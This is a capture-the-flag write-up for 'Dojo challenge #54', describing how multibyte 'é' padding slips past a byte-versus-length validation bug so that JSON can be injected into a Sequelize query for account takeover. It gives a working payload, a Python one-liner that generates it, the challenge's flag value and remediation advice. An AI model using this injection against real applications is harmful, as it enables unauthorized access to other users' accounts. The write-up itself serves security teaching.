Dojo challenge #54 Highscore solution

Article hero image

The solution and the writeup provided were written by the hunter: Brahimmg

Broken session check in the game. parseCookie() takes id:session and allows only letters by checking Buffer.from(session,'utf8')[i], but loops on session.length. With multibyte é (1 char, 2 bytes) the tail is never checked, so I can inject JSON and control Sequelize where: cookie["session"].

Exploitation

  1. Opened challenge code from settings.
  2. Tried 1:abc : ok, 1:abc123 : invalid game session. Confirmed filter blocks digits/symbols.
  1. Saw Buffer vs string length bug, used é*100 to hide payload.
  2. Sent 1: + é*100 + a"}, "session": {"id": 1}, "b": {"c": "d in INPUT.
  3. It parsed as {"session":{"id":1}}, returned brumens (id 1, owner of flag), flag rendered + popup.

Step to reproduce

  1. Generate payload:
1python3 -c "print('1:'+'é'*100+'a\"}, \"session\": {\"id\": 1}, \"b\": {\"c\": \"d')"

Output:

11:ééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééééa"}, "session": {"id": 1}, "b": {"c": "d
  1. Go to inputs tab, paste output in input field.
  2. Click Submit.
  3. A popup You've Pwned It! + flag in result as data-flag
    data-flag="FLAG{N3w_L3v3l_Unl0cked}".

Impact

Account takeover. Anyone can force findOne to return user 1 and steal session/flag. In real app = access to other users data.

Remediation

  • Validate string with regex /^[A-Za-z]+$/, not utf8 bytes.
  • Build JSON with JSON.stringify, not string concat.
  • Never pass user object to where, use fixed keys: where:{id:Number(id)}.